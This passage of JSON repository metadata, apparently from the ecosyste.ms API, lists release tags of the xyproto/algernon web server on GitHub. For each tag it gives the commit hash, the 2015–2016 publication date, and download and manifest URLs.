releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.2.1/manifests"},{"name":"1.2","sha":"7d6521f06a74c954f0368a71b264bbb2bca89646","kind":"commit","published_at":"2016-09-21T11:35:37.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.2","html_url":"https://github.com/xyproto/algernon/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.2/manifests"},{"name":"1.1","sha":"43beb7f757f8591639f639b23595799c6bbf427d","kind":"commit","published_at":"2016-09-06T13:41:27.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.1/manifests"},{"name":"1.0","sha":"3e91ecc82c707dc410e252b7216bc5b03e4d3d61","kind":"commit","published_at":"2016-06-03T19:28:11.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.0","html_url":"https://github.com/xyproto/algernon/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.0/manifests"},{"name":"v1.0-win8-64","sha":"3e91ecc82c707dc410e252b7216bc5b03e4d3d61","kind":"commit","published_at":"2016-06-03T19:28:11.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.0-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.0-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.0-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.0-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.0-win8-64/manifests"},{"name":"0.92","sha":"258d5c2aeab51f9c8c3ac4c5712d01f8c1ee1fef","kind":"commit","published_at":"2016-06-02T10:01:14.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.92","html_url":"https://github.com/xyproto/algernon/releases/tag/0.92","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.92","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.92","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.92/manifests"},{"name":"0.91","sha":"268c4c195e2b16b976670b2497e50f5571f10193","kind":"commit","published_at":"2016-05-20T13:23:16.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.91","html_url":"https://github.com/xyproto/algernon/releases/tag/0.91","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.91","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.91","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.91/manifests"},{"name":"0.9","sha":"2b6f68d16103353e668c50aa846c9557269b8da4","kind":"commit","published_at":"2016-05-19T22:18:08.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.9","html_url":"https://github.com/xyproto/algernon/releases/tag/0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.9/manifests"},{"name":"0.89","sha":"e00c14468d527e70777aacd77d9142284f7bfa62","kind":"commit","published_at":"2016-04-25T21:01:42.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.89","html_url":"https://github.com/xyproto/algernon/releases/tag/0.89","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.89","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.89","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.89/manifests"},{"name":"0.88","sha":"62abfa0471c360002beac1e5c838c177c190ccf6","kind":"commit","published_at":"2016-04-19T15:06:25.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.88","html_url":"https://github.com/xyproto/algernon/releases/tag/0.88","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.88","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.88","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.88/manifests"},{"name":"0.87","sha":"6217b7c33c0376579b2d1195e2f1a60ec6fa2350","kind":"commit","published_at":"2016-01-25T22:20:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.87","html_url":"https://github.com/xyproto/algernon/releases/tag/0.87","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.87","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.87","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.87/manifests"},{"name":"0.86","sha":"cb1d0da74a2dc758685c2d76e1d88b3bc49e11d1","kind":"commit","published_at":"2015-11-17T19:56:05.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.86","html_url":"https://github.com/xyproto/algernon/releases/tag/0.86","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.86","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.86","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.86/manifests"},{"name":"v0.85-win8-64","sha":"cbad419ceaa37fa7788330e89dba7b6b730ce0f3","kind":"commit","published_at":"2015-09-15T19:03:59.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v0.85-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v0.85-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v0.85-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.85-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.85-win8-64/manifests"},{"name":"0.85","sha":"d37fa8c03d5dbaca0bfcd00f32f1169a8fad03e2","kind":"commit","published_at":"2015-09-14T16:06:15.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.85","html_url":"https://github.com/xyproto/algernon/releases/tag/0.85","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.85","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.85","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.85/manifests"},{"name":"gccgo","sha":"0394a04c4de037d9c94e4ae2b13303b2031b8c87","kind":"commit","published_at":"2015-08-19T09:51:22.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/gccgo","html_url":"https://github.com/xyproto/algernon/releases/tag/gccgo","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@gccgo","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/gccgo","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/gccgo/manifests"},{"name":"8X","sha":"9d2d75b2c840d5dae749cee857d078ea41bc2770","kind":"commit","published_at":"2015-08-13T14:59:02.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/8X","html_url":"https://github.com/xyproto/algernon/releases/tag/8X","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@8X","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/8X","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/8X/manifests"},{"name":"0.84","sha":"ab1b10910cc9c4bb14305850d8f557df23deec53","kind":"commit","published_at":"2015-06-26T08:56:35.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.84","html_url":"https://github.com/xyproto/algernon/releases/tag/0.84","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.84","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.84","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.84/manifests"},{"name":"v0.84-win8-64","sha":"fcdf8e9d9e8dcb7177cebbc367916920a9ba7eb4","kind":"commit","published_at":"2015-06-25T17:30:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v0.84-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v0.84-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v0.84-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.84-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.84-win8-64/manifests"},{"name":"0.83","sha":"2f3a45091a2082fcf42ae75e5bcd4f5d9f8d8d70","kind":"commit","published_at":"2015-06-24T23:46:04.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.83","html_url":"https://github.com/xyproto/algernon/releases/tag/0.83","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.83","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.83","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.83/manifests"},{"name":"0.82","sha":"ea8897a870e82f038aeb32da87163d99f786da91","kind":"commit","published_at":"2015-06-22T13:44:45.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.82","html_url":"https://github.com/xyproto/algernon/releases/tag/0.82","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.82","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.82","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.82/manifests"},{"name":"0.81","sha":"0d352e85b2ef67f7c3e5df6f76d6dfceb48aa70e","kind":"commit","published_at":"2015-06-22T01:28:17.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.81","html_url":"https://github.com/xyproto/algernon/releases/tag/0.81","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.81","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.81","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.81/manifests"},{"name":"0.8","sha":"0d765c289861e1a52f167428f2c94b9ad3126c50","kind":"commit","published_at":"2015-06-18T14:35:52.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.8","html_url":"https://github.com/xyproto/algernon/releases/tag/0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.8/manifests"},{"name":"0.75","sha":"64b852d7b43ca6ed4119ca2821ce5a35d05986d9","kind":"commit","published_at":"2015-06-17T23:13:50.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.75","html_url":"https://github.com/xyproto/algernon/releases/tag/0.75","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.75","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.75","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.75/manifests"},{"name":"0.74","sha":"451758e6d17e7b742a4098fd94def440a87a1bcd","kind":"commit","published_at":"2015-06-05T13:57:22.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.74","html_url":"https://github.com/xyproto/algernon/releases/tag/0.74","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.74","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.74","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.74/manifests"},{"name":"0.73","sha":"51846815436a494d9351c69bb821f492aa5c0640","kind":"commit","published_at":"2015-06-04T19:12:09.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.73","html_url":"https://github.com/xyproto/algernon/releases/tag/0.73","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.73","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.73","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.73/manifests"},{"name":"0.72","sha":"575c6be36fe4c857f1af7b74864519fa92c6a530","kind":"commit","published_at":"2015-06-01T17:09:08.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.72","html_url":"https://github.com/xyproto/algernon/releases/tag/0.72","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.72","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.72","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.72/manifests"},{"name":"0.71","sha":"098979e0228289ddaf5ce1f8301bb422e5a1a50b","kind":"commit","published_at":"2015-05-29T17:49:10.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.71","html_url":"https://github.com/xyproto/algernon/releases/tag/0.71","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.71","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.71","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.71/manifests"},{"name":"0.7","sha":"5942e0f922242c38d8e25859f86c141ddc1d2fd4","kind":"commit","published_at":"2015-05-26T23:24:27.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.7","html_url":"https://github.com/xyproto/algernon/releases/tag/0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.7/manifests"},{"name":"0.68","sha":"5f820886e0518180dbe1c2f85c7b4978977ce1a5","kind":"commit","published_at":"2015-05-25T12:07:26.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.68","html_url":"https://github.com/xyproto/algernon/releases/tag/0.68","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.68","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.68","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.68/manifests"},{"name":"0.67","sha":"540cd6a96ba7503a0c72cbf40e116bddc0c448a8","kind":"commit","published_at":"2015-05-24T15:42:29.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.67","html_url":"https://github.com/xyproto/algernon/releases/tag/0.67","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.67","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.67","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.67/manifests"},{"name":"0.66","sha":"aed572819c73a47a20a1e87a9065bb20d4a79e8a","kind":"commit","published_at":"2015-05-20T18:26:56.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.66","html_url":"https://github.com/xyproto/algernon/releases/tag/0.66","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.66","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.66","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.66/manifests"},{"name":"0.65","sha":"f1d116dd9f4f7202ae2cf1f2720ae414e0b59cd9","kind":"commit","published_at":"2015-05-20T13:29:32.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.65","html_url":"https://github.com/xyproto/algernon/releases/tag/0.65","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.65","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.65","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.65/manifests"},{"name":"0.64","sha":"aaf0ce0784616616a2b9a2171334622d1999a545","kind":"commit","published_at":"2015-05-20T10:58:05.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.64","html_url":"https://github.com/xyproto/algernon/releases/tag/0.64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.64/manifests"},{"name":"0.63","sha":"cce8dd976f793f5ef3a9b9ab544b7cf640bb7b9d","kind":"commit","published_at":"2015-05-18T12:14:49.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.63","html_url":"https://github.com/xyproto/algernon/releases/tag/0.63","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.63","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.63","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.63/manifests"},{"name":"0.62","sha":"e2cb4f70968f61911b7d544b092caef79f182508","kind":"commit","published_at":"2015-05-13T09:38:18.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.62","html_url":"https://github.com/xyproto/algernon/releases/tag/0.62","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.62","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.62","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.62/manifests"},{"name":"v0.62-win8-64","sha":"28ee3f9dfa1c3faf91ce43d4c06038be0d2b5698","kind":"commit","published_at":"2015-05-12T14:56:00.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v0.62-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v0.62-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v0.62-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.62-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.62-win8-64/manifests"},{"name":"0.61","sha":"a8467be05d19dc4acba79a2ad516491b308bed4d","kind":"commit","published_at":"2015-05-07T15:56:37.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.61","html_url":"https://github.com/xyproto/algernon/releases/tag/0.61","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.61","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.61","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.61/manifests"},{"name":"0.60","sha":"3882a3ffc133dd19854c31bdc10505cebdd52464","kind":"commit","published_at":"2015-05-07T12:41:11.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.60","html_url":"https://github.com/xyproto/algernon/releases/tag/0.60","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.60","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.60","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.60/manifests"},{"name":"0.59","sha":"9af3ce8207642d30a22df4e1b8a12c85ece5bb9d","kind":"commit","published_at":"2015-05-05T14:07:30.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.59","html_url":"https://github.com/xyproto/algernon/releases/tag/0.59","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.59","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.59","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.59/manifests"},{"name":"0.58","sha":"24d1fed2eb44a73745d06ce0d64443e74a515e0a","kind":"commit","published_at":"2015-04-23T22:07:03.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.58","html_url":"https://github.com/xyproto/algernon/releases/tag/0.58","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.58","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.58","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.58/manifests"},{"name":"0.57","sha":"fd8670b2617d41da3a21d6eb67bc83159a207e6b","kind":"commit","published_at":"2015-04-19T10:49:33.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.57","html_url":"https://github.com/xyproto/algernon/releases/tag/0.57","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.57","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.57","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.57/manifests"},{"name":"0.56","sha":"a3978abdf0649aa9edc5eb5c15ee8059f7a9129e","kind":"commit","published_at":"2015-04-15T20:44:50.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.56","html_url":"https://github.com/xyproto/algernon/releases/tag/0.56","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.56","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.56","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.56/manifests"},{"name":"0.55","sha":"86675794379661d41be3ddf2f7b5f04b7eb76f33","kind":"commit","published_at":"2015-04-09T11:14:03.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.55","html_url":"https://github.com/xyproto/algernon/releases/tag/0.55","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.55","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.55","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.55/manifests"},{"name":"0.54","sha":"5b6b6cd49a058356393b8e05a34eb5a4e70e49df","kind":"commit","published_at":"2015-04-06T19:34:01.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.54","html_url":"https://github.com/xyproto/algernon/releases/tag/0.54","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.54","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.54","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.54/manifests"},{"name":"0.53","sha":"35a1366d9ef70397070b9bbf13a9ffd14fbdf4d0","kind":"commit","published_at":"2015-03-31T14:14:12.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.53","html_url":"https://github.com/xyproto/algernon/releases/tag/0.53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.53/manifests"},{"name":"0.52","sha":"4b69abc3ca3f1fab208b47603b2cc5c36efa12d6","kind":"commit","published_at":"2015-03-28T15:07:57.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.52","html_url":"https://github.com/xyproto/algernon/releases/tag/0.52","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.52","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.52","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.52/manifests"},{"name":"v0.52-win8-64","sha":"4b69abc3ca3f1fab208b47603b2cc5c36efa12d6","kind":"commit","published_at":"2015-03-28T15:07:57.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v0.52-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v0.52-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v0.52-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.52-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.52-win8-64/manifests"},{"name":"0.51","sha":"8ae3554d91eda58236a5c7daf60c60c6ab694e91","kind":"commit","published_at":"2015-03-28T14:44:14.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.51","html_url":"https://github.com/xyproto/algernon/releases/tag/0.51","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.51","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.51","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.51/manifests"},{"name":"0.50","sha":"2b0040c087e14f7214d319f1a357b09fafee9260","kind":"commit","published_at":"2015-03-26T13:09:02.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.50","html_url":"https://github.com/xyproto/algernon/releases/tag/0.50","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.50","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.50","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.50/manifests"},{"name":"0.49","sha":"0b5becd3ba6e743b6ec94d2650dee87ec64f3b58","kind":"commit","published_at":"2015-03-25T21:35:50.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.49","html_url":"https://github.com/xyproto/algernon/releases/tag/0.49"